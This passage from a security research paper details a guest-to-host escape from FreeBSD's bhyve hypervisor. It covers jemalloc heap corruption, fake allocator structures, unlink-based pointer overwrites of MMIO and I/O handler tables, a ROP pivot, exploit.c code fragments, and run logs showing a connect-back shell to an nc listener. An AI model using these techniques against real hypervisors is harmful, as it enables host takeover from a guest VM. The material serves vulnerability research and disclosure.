Leaking the 'baseaddr' allows the guest to set up shared memory between the guest and the host bhyve process. By knowing the guest physical address of a memory allocation, the host virtual address of the guest allocation can be calculated as 'baseaddr' + guest physical address. Fake data structures or payloads could be injected into the bhyve process memory using this shared memory from the guest [8].

Due to the memory layout observed in section 3.1, if we can leak at least one pointer within the jemalloc chunk before guest memory pages (which is the case here), the base address of chunk can be calculated. Jemalloc in FreeBSD 11.0 uses chunks of size 2 MB, aligned to its size. CHUNK_ADDR2BASE() macro in jemalloc calculates the base address of a chunk, given any pointer in a chunk as below:

#define CHUNK_ADDR2BASE(a)

((void *)((uintptr_t)(a) & ~chunksize_mask))

where chunksize_mask is '(chunksize ‑ 1)' and 'chunksize' is 2MB. Once the chunk base address is known, the base address of guest memory can be calculated as chunk base address + chunk size + VM_MMAP_GUARD_SIZE (4MB)

Another way to get the base address is by leaking the 'vmctx' structure from lower memory of chunk. This will be discussed as part of section 4.3.

‑‑‑‑[ 3.5 ‑ Out of bound write to write pointer anywhere using unlink

Once the guest allocates the mevent structure within its system memory, it can overwrite the 'power_button_handler' callback and wait until the host turns off the VM. SIGTERM signal will be delivered to the bhyve process during poweroff, which in turn triggers the overwritten handler, giving RIP control. However, this approach has a drawback ‑ the guest needs to wait until the VM is powered off from the host.

To eliminate this host interaction, the next idea is to use the list unlink. By corrupting the previous and next pointers of the list, we can write an arbitrary value to an arbitrary address using LIST_REMOVE() in mevent_delete_event() (section 3.2). The major limitation of this approach is that the value written should also be a writable address. Hence function pointers cannot be directly overwritten.

With the ability to write a writable address to arbitrary address, the next step is to find a target to overwrite to control RIP indirectly.

‑‑‑‑[ 3.6 ‑ MMIO emulation and RIP control methodology

The PCI hole memory region of guest memory (section 3.1) is not mapped and is used for device emulation. Any access to this memory will trigger an Extended Page Table (EPT) fault resulting in VM‑exit. The vmx_exit_process() in the VMM code src/sys/amd64/vmm/intel/vmx.c invokes the respective handler based on the VM‑exit reason.

static int

vmx_exit_process(struct vmx *vmx, int vcpu, struct vm_exit *vmexit) {

. . .

case EXIT_REASON_EPT_FAULT:

/*

* If 'gpa' lies within the address space allocated to * memory then this must be a nested page fault otherwise * this must be an instruction that accesses MMIO space. */

gpa = vmcs_gpa();

if (vm_mem_allocated(vmx‑>vm, vcpu, gpa) || apic_access_fault(vmx, vcpu, gpa)) { vmexit‑>exitcode = VM_EXITCODE_PAGING;

. . .

} else if (ept_emulation_fault(qual)) { vmexit_inst_emul(vmexit, gpa, vmcs_gla()); vmm_stat_incr(vmx‑>vm, vcpu, VMEXIT_INST_EMUL, 1); }

. . .

}

vmexit_inst_emul() sets the exit code to 'VM_EXITCODE_INST_EMUL' and other exit details for further emulation. The VM_RUN ioctl used to run the virtual machine then calls vm_handle_inst_emul() in sys/amd64/vmm/vmm.c, to check if the Guest Physical Address (GPA) accessed is emulated in‑kernel. If not, the exit information is passed on to the user space for emulation.

int

vm_run(struct vm *vm, struct vm_run *vmrun)

{

. . .

case VM_EXITCODE_INST_EMUL: error = vm_handle_inst_emul(vm, vcpuid, &retu); break;

. . .

}

MMIO emulation in the user space is done by the vmexit handler vmexit_inst_emul() in bhyverun.c. vm_loop() dispatches execution to the respective handler based on the exit code.

static void

vm_loop(struct vmctx *ctx, int vcpu, uint64_t startrip)

{

. . .

error = vm_run(ctx, vcpu, &vmexit[vcpu]); . . .

exitcode = vmexit[vcpu].exitcode;

. . .

rc = (*handler[exitcode])(ctx, &vmexit[vcpu], &vcpu); }

static vmexit_handler_t handler[VM_EXITCODE_MAX] = {

. . .

[VM_EXITCODE_INST_EMUL] = vmexit_inst_emul,

. . .

};

The user space device emulation is interesting for this exploit because it has the right data structures to corrupt using the list unlink. The memory ranges and callbacks for each user space device emulation is stored in a red‑black tree. When a PCI BAR is programmed to map a MMIO region using register_mem() or when a memory region is registered explicitly through register_mem_fallback() in mem.c, the information is added to mmio_rb_root and mmio_rb_fallback RB trees respectively. During an instruction emulation, the red‑black trees are traversed to find the node which has the handler for the guest physical address which caused the EPT fault. The red‑black tree nodes are defined by the structure 'mmio_rb_range' in mem.c

struct mmio_rb_range {

RB_ENTRY(mmio_rb_range) mr_link; /* RB tree links */

struct mem_range mr_param;

uint64_t mr_base;

uint64_t mr_end;

};

The 'mr_base' element is the starting address of a memory range, and 'mr_end' marks the ending address of the memory range. The 'mem_range' structure is defined in mem.h, has the pointer to the handler and arguments 'arg1' and 'arg2' along with 6 other arguments.

typedef int (*mem_func_t)(struct vmctx *ctx, int vcpu, int dir, uint64_t addr,

int size, uint64_t *val, void *arg1, long arg2);

struct mem_range {

const char *name;

int flags;

mem_func_t handler;

void *arg1;

long arg2;

uint64_t base;

uint64_t size;

};

To avoid red‑black tree lookup each time when there is an instruction emulation, a per‑vCPU MMIO cache is used. Since most accesses from a vCPU will be to a consecutive address in a device memory range, the result of the red‑black tree lookup is maintained in an array 'mmio_hint'. When emulate_mem() is called by vmexit_inst_emul(), first the MMIO cache is looked up to see if there is an entry. If yes, the guest physical address is checked against 'mr_base' and 'mr_end' value to validate the cache entry. If it is not the expected entry, it is a cache miss. Then the red‑black tree is traversed to find the correct entry. Once the entry is found, vmm_emulate_instruction() in sys/amd64/vmm/vmm_instruction_emul.c (common code for user space and the VMM) is called for further emulation.

static struct mmio_rb_range*mmio_hint[VM_MAXCPU];

int

emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie, struct vm_guest_paging *paging)

{

. . .

if (mmio_hint[vcpu] &&

paddr >= mmio_hint[vcpu]‑>mr_base && paddr <= mmio_hint[vcpu]‑>mr_end) { entry = mmio_hint[vcpu];

} else

entry = NULL;

if (entry == NULL) {

if (mmio_rb_lookup(&mmio_rb_root, paddr, &entry) == 0) { /* Update the per‑vCPU cache */

mmio_hint[vcpu] = entry; } else if (mmio_rb_lookup(&mmio_rb_fallback, paddr,

&entry)) {

. . .

err = vmm_emulate_instruction(ctx, vcpu, paddr, vie, paging,

mem_read, mem_write,

&entry‑>mr_param);

. . .

}

vmm_emulate_instruction() further calls into instruction specific handlers like emulate_movx(), emulate_movs() etc. based on the opcode type. The wrappers mem_read() and mem_write() in mem.c call the registered handlers with corresponding 'mem_range' structure for a virtual device.

int

vmm_emulate_instruction(void *vm, int vcpuid, uint64_t gpa, struct vie *vie,

struct vm_guest_paging *paging, mem_region_read_t memread, mem_region_write_t memwrite, void *memarg)

{

. . .

switch (vie‑>op.op_type) {

. . .

case VIE_OP_TYPE_MOVZX:

error = emulate_movx(vm, vcpuid, gpa, vie,

memread, memwrite, memarg);

break;

. . .

}

static int

emulate_movx(void *vm, int vcpuid, uint64_t gpa, struct vie *vie, mem_region_read_t memread, mem_region_write_t memwrite, void *arg)

{

. . .

switch (vie‑>op.op_byte) {

case 0xB6:

. . .

error = memread(vm, vcpuid, gpa, &val, 1, arg); . . .

}

static int

mem_read(void *ctx, int vcpu, uint64_t gpa, uint64_t *rval, int size, void *arg)

{

int error;

struct mem_range *mr = arg;

error = (*mr‑>handler)(ctx, vcpu, MEM_F_READ, gpa, size,

rval, mr‑>arg1, mr‑>arg2);

return (error);

}

static int

mem_write(void *ctx, int vcpu, uint64_t gpa, uint64_t wval, int size, void *arg)

{

int error;

struct mem_range *mr = arg;

error = (*mr‑>handler)(ctx, vcpu, MEM_F_WRITE, gpa, size,

&wval, mr‑>arg1, mr‑>arg2);

return (error);

}

By overwriting the mmio_hint[0], i.e. cache of vCPU0, the guest can control the entire 'mmio_rb_range' structure during the lookup for MMIO emulation. Guest further gains control of RIP during the call to mem_read() or mem_write(), since mr‑>handler can point to an arbitrary value. The corrupted handler 'mr‑>handler' takes 8 arguments in total. The last two arguments, 'mr‑>arg1' and 'mr‑>arg2' therefore gets pushed on to the stack. This gives some control over the stack, which could be used for stack pivot.

In summary, corrupt jemalloc thread cache, use ACPI event handling to allocate mevent structure in guest, modify the list pointers, delete the event to trigger an unlink, use the unlink to overwrite 'mmio_hint[0]' to gain control of RIP.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| |

+‑‑‑‑‑‑v‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+ |

|mmio_hint[0]||mmio_hint[1]| |

+‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑+ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑‑

| Heap |....| | Guest Memory |

| |....|+‑‑‑+‑‑‑‑‑

| |....|| | 2MB Huge Page | |

| |....|| +‑+‑‑‑‑‑

| |....|| | | mevent | | |

|+‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ |....|| | | +‑‑‑

||vga_softc| |tcache_s| |....|| | | | next +‑+‑‑‑‑‑‑‑‑‑‑+ | |

|| | | vCPU0 | |....|| | | +‑‑‑‑‑‑‑‑‑‑‑+ |

|+‑‑‑‑‑‑‑‑‑+ +‑‑‑+‑‑‑‑+ |....|| | | +‑‑‑v‑‑‑‑‑‑‑‑+ |

| | |....|| | +‑+ previous | | | Fake | |

| | |....|| | +‑‑‑mmio_rb_range | |

| | |....|| +‑‑‑‑‑‑‑

| | |....|+‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑+‑‑‑‑‑‑‑‑‑‑

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It is possible to derive the address of mmio_hint[0] allocated in the bss segment by leaking the 'power_button_handler' function address (section 3.5) in 'mevent' structure. But due to the lack of PIE and ASLR, the hardcoded address of mmio_hint[0] was directly used in the proof of concept exploit code.

‑‑‑‑[ 3.7 ‑ Faking arena_chunk_s structure for arbitrary free

During mevent_delete(), jemalloc frees a pointer which is not part of the allocator managed memory as the mevent structure was allocated in guest system memory by corrupting tcache structure (section 3.3). This will result in a segmentation fault unless a fake arena_chunk_s structure is set up before the free(). Freeing arbitrary pointer is already discussed in research [6], however, we will take a second look for the exploitation of this bug.

JEMALLOC_ALWAYS_INLINE void

arena_dalloc(tsdn_t *tsdn, void *ptr, tcache_t *tcache, bool slow_path) {

arena_chunk_t *chunk;

size_t pageind, mapbits;

. . .

chunk = (arena_chunk_t *)CHUNK_ADDR2BASE(ptr); if (likely(chunk != ptr)) {

pageind = ((uintptr_t)ptr ‑ (uintptr_t)chunk) >> LG_PAGE; mapbits = arena_mapbits_get(chunk, pageind); assert(arena_mapbits_allocated_get(chunk, pageind) != 0); if (likely((mapbits & CHUNK_MAP_LARGE) == 0)) { /* Small allocation. */

if (likely(tcache != NULL)) {

szind_t binind =

arena_ptr_small_binind_get(ptr,

mapbits);

tcache_dalloc_small(tsdn_tsd(tsdn), tcache,

ptr,

binind, slow_path);

. . .

}

Request to free a pointer is handled by arena_dalloc() in arena.h of jemalloc. The CHUNK_ADDR2BASE() macro gets the chunk address from the pointer to be freed. The arena_chunk_s header has a dynamically sized map_bits array, which holds the properties of pages within the chunk.

/* Arena chunk header. */

struct arena_chunk_s {

. . .

extent_node_t node;

/*

* Map of pages within chunk that keeps track of free/large/small. * The

* first map_bias entries are omitted, since the chunk header does * not

* need to be tracked in the map. This omission saves a header * page

* for common chunk sizes (e.g. 4 MiB).

*/

arena_chunk_map_bits_t map_bits[1]; /* Dynamically sized. */

};

The page index 'pageind' in arena_dalloc() for the pointer to be freed is calculated and used as index into 'map_bits' array of 'arena_chunk_s' structrue. This is done using arena_mapbits_get() to get the 'mapbits' value. The series of calls invoked during arena_mapbits_get() are arena_mapbits_get() ‑> arena_mapbitsp_get_const() ‑> arena_mapbitsp_get_mutable() ‑> arena_bitselm_get_mutable()

JEMALLOC_ALWAYS_INLINE arena_chunk_map_bits_t * arena_bitselm_get_mutable(arena_chunk_t *chunk, size_t pageind) {

. . .

return (&chunk‑>map_bits[pageind‑map_bias]);

}

The 'map_bias' variable defines the number of pages used by chunk header, which does not need tracking and can be omitted. The 'map_bias' value is calculated in arena_boot() of arena.c file, whose value, in this case, is 13. arena_ptr_small_binind_get() gets the bin index 'binind' from the encoded 'map_bits' value in 'arena_chunk_s' structure. Once this information is fetched, tcache_dalloc_small() no longer uses arena chunk header but relies on information from thread‑specific data and thread cache structures.

Hence the essential part of fake 'arena_chunk_s' structure is that, 'map_bits' should be set up in a way 'pageind ‑ map_bias' calculation in arena_bitselm_get_mutable() points to an entry in 'maps_bits' array, which has an index value to a valid tcache bin. In this case, the index is set to 4, i.e. bin handling regions of size 64 bytes.

Since 'map_bias' is 13 pages, the usable pages could be placed after these fake header pages. An elegant way to achieve this is to request a 2MB (chunk size) contiguous memory from the guest which gets allocated as part of the guest system. Allocating a contiguous 2MB virtual memory in guest does not result in contiguous virtual memory allocation in the host. To force the allocation to be contiguous in both guest and bhyve host process, request memory using mmap() to allocate a 2MB huge page with MAP_HUGETLB flag set.

‑‑‑[ exploit.c ]‑‑‑

. . .

shared_gva = mmap(0, 2 * MB, PROT_READ | PROT_WRITE, MAP_HUGETLB | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,

‑1, 0);

. . .

shared_gpa = gva_to_gpa((uint64_t)shared_gva); shared_hva = base_address + shared_gpa;

/* setting up fake jemalloc chunk */

arena_chunk = (struct arena_chunk_s *)shared_gva;

/* set bin index, also dont set CHUNK_MAP_LARGE */

arena_chunk‑>map_bits[4].bits = (4 << CHUNK_MAP_BININD_SHIFT);

/* calculate address such that pageind ‑ map_bias point to tcache

* bin size 64 (i.e. index 4) */

fake_tbin_hva = shared_hva + ((4 + map_bias) << 12); fake_tbin_gva = shared_gva + ((4 + map_bias) << 12);

. . .

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑

| Heap | | Guest Memory |

| | | +‑

| +‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ | Guard | | 2MB Huge Page | |

| |vga_softc| |tcache_s| | Page | | +‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑+ | |

| | | | vCPU0 | | | | | Fake | | mevent | | |

| +‑‑‑‑‑‑‑‑‑+ +‑‑‑‑+‑‑‑+ | | | arena_chunk_s| | | | |

| | | | |

| | | | +‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑

|

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now arbitrary pointer can be freed to overwrite 'mmio_hint' using mevent_delete() without a segmentation fault. The jemalloc version used in FreeBSD 11.0 does not check if pageind > map_bias, unlike the one seen in android [6]. Hence the fake chunk can also be set up in a single page like below:

. . .

arena_chunk = (struct arena_chunk_s *)shared_gva; arena_chunk‑>map_bits[‑map_bias].bits = (4 << CHUNK_MAP_BININD_SHIFT);

fake_tbin_hva = shared_hva + sizeof(struct arena_chunk_s); fake_tbin_gva = shared_gva + sizeof(struct arena_chunk_s); . . .

Since the address to be freed is part of the same page as the chunk header, the 'pageind' value would be 0. 'chunk‑>map_bits[pageind‑map_bias]' in arena_bitselm_get_mutable() would end up accessing 'extent_node_t node' element of 'arena_chunk_s' structure since 'pageind‑map_bias' is negative. One has to just set up the bin index here for a successful free().

‑‑‑‑[ 3.8 ‑ Code execution using MMIO vCPU cache

The MMIO cache 'mmio_hint' of vCPU0 is overwritten during mevent_delete() with a pointer to fake mmio_rb_range structure. The fake structure is set up like below:

‑‑‑[ exploit.c ]‑‑‑

. . .

/* pci_emul_fallback_handler will return without error */

mmio_range_gva‑>mr_param.handler = (void *)pci_emul_fallback_handler; mmio_range_gva‑>mr_param.arg1 = (void *)0x4444444444444444; //

arg1 will be corrupted on mevent delete mmio_range_gva‑>mr_param.arg2 = 0x4545454545454545; //

arg2 is fake RSP value for ROP. Fix this now or later mmio_range_gva‑>mr_param.base = 0; mmio_range_gva‑>mr_param.size = 0;

mmio_range_gva‑>mr_param.flags = 0;

mmio_range_gva‑>mr_end = 0xffffffffffffffff; . . .

The 'mr_base' value is set to 0, and 'mr_end' is set to 0xffffffffffffffff i.e. entire range of physical address. Hence any MMIO access in the guest will end up using the fake mmio_rb_structure in emulate_mem():

int

emulate_mem(struct vmctx *ctx, int vcpu, uint64_t paddr, struct vie *vie, struct vm_guest_paging *paging)

{

. . .

if (mmio_hint[vcpu] &&

paddr >= mmio_hint[vcpu]‑>mr_base && paddr <= mmio_hint[vcpu]‑>mr_end) { entry = mmio_hint[vcpu];

. . .

}

If the entire range of physical address is not used, any valid MMIO access to an address outside the range of fake 'mr_base' and 'mr_end' before the exploit triggers an MMIO access, will end up updating the 'mmio_hint' cache. The 'mmio_hint' overwrite becomes useless!

As a side effect of unlink operation in mevent_delete(), 'mr_param.arg1' is corrupted. It is necessary to make sure the corrupted value of 'mr_param.arg1' is not used for any MMIO access before the exploit itself triggers. To ensure this, setup 'mr_param.handler' with a pointer to function returning 0, i.e. success. Returning any other value would trigger an error on emulation, leading to abort() in vm_loop() of bhyverun.c. The ideal choice turned out to be pci_emul_fallback_handler() defined in pci_emul.c as below:

static int

pci_emul_fallback_handler(struct vmctx *ctx, int vcpu, int dir, uint64_t addr,

int size, uint64_t *val, void *arg1, long arg2)

{

/*

* Ignore writes; return 0xff's for reads. The mem read code * will take care of truncating to the correct size.

*/

if (dir == MEM_F_READ) {

*val = 0xffffffffffffffff;

}

return (0);

}

After overwriting 'mmio_hint[0]', both 'mr_param.arg1' and 'mr_param.handler' needs to be fixed for continuing with the exploitation. First overwrite 'mr_param.arg1' with address to 'pop rsp; ret' gadget, then overwrite 'mr_param.handler' with address to 'pop register; ret' gadget. This will make sure that the gadget is not triggered with a corrupted 'mr_param.arg1' value during a MMIO access. 'mr_param.arg2' should point to the fake stack with ROP payload. When the fake handler is executed during MMIO access, 'pop register; ret' pops the saved RIP and returns into the 'pop rsp' gadget. 'pop rsp' pops the fake stack pointer 'mr_param.arg2' and executes the ROP payload.

‑‑‑[ exploit.c ]‑‑‑

. . .

/* fix the mmio handler */

mmio_range_gva‑>mr_param.handler = (void *)pop_rbp; mmio_range_gva‑>mr_param.arg1 = (void *)pop_rsp; mmio_range_gva‑>mr_param.arg2 = rop;

mmio = map_phy_address(0xD0000000, getpagesize()); mmio[0];

. . .

Running the VM escape exploit gives a connect back shell to the guest with the following output:

root@linuxguest:~/setupA/vga_fakearena_exploit# ./exploit 192.168.182.148 6969

exploit: [+] CPU affinity set to vCPU0

exploit: [+] Reading bhyve process memory...

exploit: [+] Leaked tcache avail pointers @ 0x801b71248 exploit: [+] Leaked tbin avail pointer = 0x823c10000

exploit: [+] Offset of tbin avail pointer = 0xfcf60

exploit: [+] Leaked vga_softc @ 0x801a74000

exploit: [+] Guest base address = 0x802000000

exploit: [+] Disabling ACPI shutdown to free mevent struct... exploit: [+] Shared data structures mapped @ 0x811e00000 exploit: [+] Overwriting tbin avail pointers...

exploit: [+] Enabling ACPI shutdown to reallocate mevent struct... exploit: [+] Leaked .text power_button_handler address = 0x430380 exploit: [+] Modifying mevent structure next and previous pointers... exploit: [+] Disabling ACPI shutdown to overwrite mmio_hint using fake mevent struct...

exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969 exploit: [+] Shared payload mapped @ 0x811c00000

exploit: [+] Triggering MMIO read to trigger payload root@linuxguest:~/setupA/vga_fakearena_exploit#

renorobert@linuxguest:~$ nc ‑vvv ‑l 6969

Listening on [0.0.0.0] (family 0, port 6969)

Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,

sport 35381)

uname ‑a

FreeBSD 11.0‑RELEASE‑p1 FreeBSD 11.0‑RELEASE‑p1 #0 r306420: Thu Sep 29 01:43:23 UTC 2016 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64

‑‑[ 4 ‑ Other exploitation strategies

This section details about other ways to exploit the bug by corrupting structures used for I/O port emulation and PCI config space emulation.

‑‑‑‑[ 4.1 ‑ Allocating a region into another size class for free()

Section 3.7 details about setting up fake arena chunk headers to free an arbitrary pointer during the call to mevent_delete(). However, there is an alternate way to achieve this by allocating the mevent structure as part of an existing thread cache allocation.

The address of 'vga_softc' structure can be calculated as described in section 3.3 by leaking the tbins[4].avail pointer. The main 'mevent' thread allocates 'vga_softc' structure as part of bins handling regions of size 0x800 bytes. By overwriting tbin[4].avail[‑ncached] pointer of vCPU0 thread with the address of region adjacent to vga_softc structure, we can force mevent structure allocated by 'vCPU0' thread, to be allocated as part of memory managed by 'mevent' thread.

Since the 'mevent' structure is allocated after 'vga_softc' structure, the out of bound write can be used to overwrite the next and previous pointers used for unlinking. During free(), the existing chunk headers of the bins servicing regions of size 0x800 are used, allowing a successful free() without crashing. In general, jemalloc allows freeing a pointer within an allocated run [6].

‑‑‑‑[ 4.2 ‑ PMIO emulation and corrupting inout_handlers structures

Understanding port‑mapped I/O emulation in bhyve provides powerful primitives when exploiting a vulnerability. In this section, we will see how this can be leveraged for accessing parts of heap memory which was previously not accessible. VM exits caused by I/O access invokes the vmexit_inout() handler in bhyverun.c. vmexit_inout() further calls emulate_inout() in inout.c for emulation.

I/O port handlers and other device specific information are maintained in an array of 'inout_handlers' structure defined in inout.c:

#define MAX_IOPORTS (1 << 16)

static struct {

const char *name;

int flags;

inout_func_t handler;

void *arg;

} inout_handlers[MAX_IOPORTS];

Virtual devices register callbacks for I/O port by calling register_inout() in inout.c, which populates the 'inout_handlers' structure:

int

register_inout(struct inout_port *iop)

{

. . .

for (i = iop‑>port; i < iop‑>port + iop‑>size; i++) { inout_handlers[i].name = iop‑>name; inout_handlers[i].flags = iop‑>flags; inout_handlers[i].handler = iop‑>handler; inout_handlers[i].arg = iop‑>arg;

}

. . .

}

emulate_inout() function uses the information from 'inout_handlers' to invoke the respective registered handler as below:

int

emulate_inout(struct vmctx *ctx, int vcpu, struct vm_exit *vmexit, int strict)

{

. . .

bytes = vmexit‑>u.inout.bytes;

in = vmexit‑>u.inout.in;

port = vmexit‑>u.inout.port;

. . .

handler = inout_handlers[port].handler;

. . .

flags = inout_handlers[port].flags;

arg = inout_handlers[port].arg;

. . .

retval = handler(ctx, vcpu, in, port, bytes, &val, arg); . . .

}

Overwriting 'arg' pointer in 'inout_handlers' structure could provide interesting primitives. In this case, VGA emulation registers its I/O port handler vga_port_handler() defined in vga.c for the port range of 0x3C0 to 0x3DF with 'vga_softc' structure as 'arg'.

void *

vga_init(int io_only)

{

. . .

sc = calloc(1, sizeof(struct vga_softc));

bzero(&iop, sizeof(struct inout_port)); iop.name = "VGA";

for (port = VGA_IOPORT_START; port <= VGA_IOPORT_END; port++) { iop.port = port;

iop.size = 1;

iop.flags = IOPORT_F_INOUT; iop.handler = vga_port_handler; iop.arg = sc;

error = register_inout(&iop); assert(error == 0);

}

. . .

}

Going back to the patch in section 2, it is noticed that dac_rd_index, dac_rd_subindex, dac_wr_index, dac_wr_subindex are all signed integers. Hence by overwriting 'arg' pointer with the address of fake 'vga_softc' structure in heap and dac_rd_index/dac_wr_index set to negative values, the guest can access memory before 'dac_palette' array. Specifically, the 'arg' pointer of DAC_DATA_PORT (0x3c9) needs to be overwritten since it handles read and write access to the 'dac_palette' array.

‑‑‑[ exploit.c ]‑‑‑

. . .

/* setup fake vga_softc structure */

memset(&vga_softc, 0, sizeof(struct vga_softc)); chunk_hi_offset = CHUNK_ADDR2OFFSET(vga_softc_bins[2] +

get_offset(struct vga_softc,

vga_dac.dac_palette));

/* set up values for reading the heap chunk */

vga_softc.vga_dac.dac_rd_subindex = ‑chunk_hi_offset; vga_softc.vga_dac.dac_wr_subindex = ‑chunk_hi_offset;

. . .

Therefore instead of overwriting 'mmio_hint' using mevent_delete() unlink, the exploit overwrites 'arg' pointer of I/O port handler to gain access to other parts of heap which were earlier not reachable during the linear out of bounds access. Hardcoded address of 'inout_handlers' structure is used in the exploit code as done with 'mmio_hint' previously due to the lack of PIE and ASLR. The offset to the start of the chunk from the fake 'vga_softc' structure (vga_dac.dac_palette) can be calculated using the jemalloc CHUNK_ADDR2OFFSET() macro.

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|inout_handlers[0] ||inout_handlers[0x3C9] ||inout_handlers[0xFFFF]|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑++‑‑‑‑+‑‑‑‑‑‑^‑‑‑

Before | | |

Overwrite‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | | After

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ Overwrite

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | Heap | |....|

| +‑‑‑‑‑‑+‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | +‑‑‑‑v‑‑‑‑+ ++‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑v‑‑‑‑+ | +‑‑‑‑‑‑‑‑+ |....|

| | | | || mevent | | | | | | |

| | | | || +‑‑‑‑‑‑‑‑‑‑‑+ | |

| | | Real | || | next +‑‑+‑> Fake | | |tcache_s| |....| | | |vga_softc| || +‑‑‑‑‑‑‑‑‑‑‑+ | |vga_softc| | | vCPU0 | |....|

| | | | || +‑‑‑‑‑‑‑‑‑‑‑+ | |

| | | | |+‑+ previous | | | | | | | |.

| | | | | +‑‑‑‑‑‑‑‑‑‑‑+ | |

| | +‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑^‑+ +‑‑‑

| | region[0] region[1] | region[2] | | |....|

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

|

|

|

+‑‑‑‑‑‑‑

Corrupting 'inout_handlers' structure can also be leveraged for a full process r/w, which is described later in section 7.2

‑‑‑‑[ 4.3 ‑ Leaking vmctx structure

Section 3.4 details the advantages of leaking the guest system base address for exploitation. An elegant way to achieve this is by leaking the 'vmctx' structure, which holds a pointer 'baseaddr' to the guest system memory. 'vmctx' structure is defined in libvmmapi/vmmapi.c and gets initialized in vm_setup_memory() as seen in section 3.1

struct vmctx {

int fd;

uint32_t lowmem_limit;

int memflags;

size_t lowmem;

size_t highmem;

char *baseaddr;

char *name;

};

By reading the jemalloc chunk using DAC_DATA_PORT after setting up fake 'vga_softc' structure, the 'vmctx' structure along with 'baseaddr' pointer can be leaked by the guest.

‑‑‑‑[ 4.4 ‑ Overwriting MMIO Red‑Black tree node for RIP control

Overwriting the 'arg' pointer of DAC_DATA_PORT port with fake 'vga_softc' structure opens up the opportunity to overwrite many other callbacks other than 'mmio_hint' to gain RIP control. However, overwriting MMIO callbacks is still a nice option since it provides ways to control stack for stack pivot as detailed in sections 3.6 and 3.8. But instead of overwriting 'mmio_hint', guest can directly overwrite a specific red‑black tree node used for MMIO emulation.

The ideal choice turns out to be the node in 'mmio_rb_fallback' tree handling access to memory that is not allocated to the system memory or PCI devices. This part of memory is not frequently accessed, and overwriting it does not affect other guest operations. To locate this red‑black tree node, search for the address of function pci_emul_fallback_handler() in the heap which is registered during the call to init_pci() function defined in pci_emul.c

int

init_pci(struct vmctx *ctx)

{

. . .

lowmem = vm_get_lowmem_size(ctx);

bzero(&mr, sizeof(struct mem_range));

mr.name = "PCI hole";

mr.flags = MEM_F_RW | MEM_F_IMMUTABLE;

mr.base = lowmem;

mr.size = (4ULL * 1024 * 1024 * 1024) ‑ lowmem; mr.handler = pci_emul_fallback_handler;

error = register_mem_fallback(&mr);

. . .

}

To gain RIP control like 'mmio_hint' technique, overwrite the handler, arg1 and arg2, then access a memory not allocated to system memory or PCI devices. Below is the output of full working exploit:

root@linuxguest:~/setupA/vga_ioport_exploit# ./exploit 192.168.182.148 6969 exploit: [+] CPU affinity set to vCPU0

exploit: [+] Reading bhyve process memory...

exploit: [+] Leaked tcache avail pointers @ 0x801b71248 exploit: [+] Leaked tbin avail pointer = 0x823c10000

exploit: [+] Offset of tbin avail pointer = 0xfcf60

exploit: [+] Leaked vga_softc @ 0x801a74000

exploit: [+] Disabling ACPI shutdown to free mevent struct... exploit: [+] Overwriting tbin avail pointers...

exploit: [+] Enabling ACPI shutdown to reallocate mevent struct... exploit: [+] Writing fake vga_softc and mevents into heap exploit: [+] Trigerring unlink to overwrite IO handlers exploit: [+] Reading the chunk data...

exploit: [+] Guest baseaddr from vmctx : 0x802000000

exploit: [+] Preparing connect back shellcode for 192.168.182.148:6969 exploit: [+] Shared memory mapped @ 0x816000000

exploit: [+] Writing fake mem_range into red black tree exploit: [+] Triggering MMIO read to trigger payload root@linuxguest:~/setupA/vga_ioport_exploit#

renorobert@linuxguest:~$ nc ‑vvv ‑l 6969

Listening on [0.0.0.0] (family 0, port 6969)

Connection from [192.168.182.146] port 6969 [tcp/*] accepted (family 2,

sport 14901)

uname ‑a

FreeBSD 11.0‑RELEASE‑p1 FreeBSD 11.0‑RELEASE‑p1 #0 r306420: Thu Sep 29 01:43:23 UTC 2016 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64

‑‑‑‑[ 4.5 ‑ Using PCI BAR decoding for RIP control

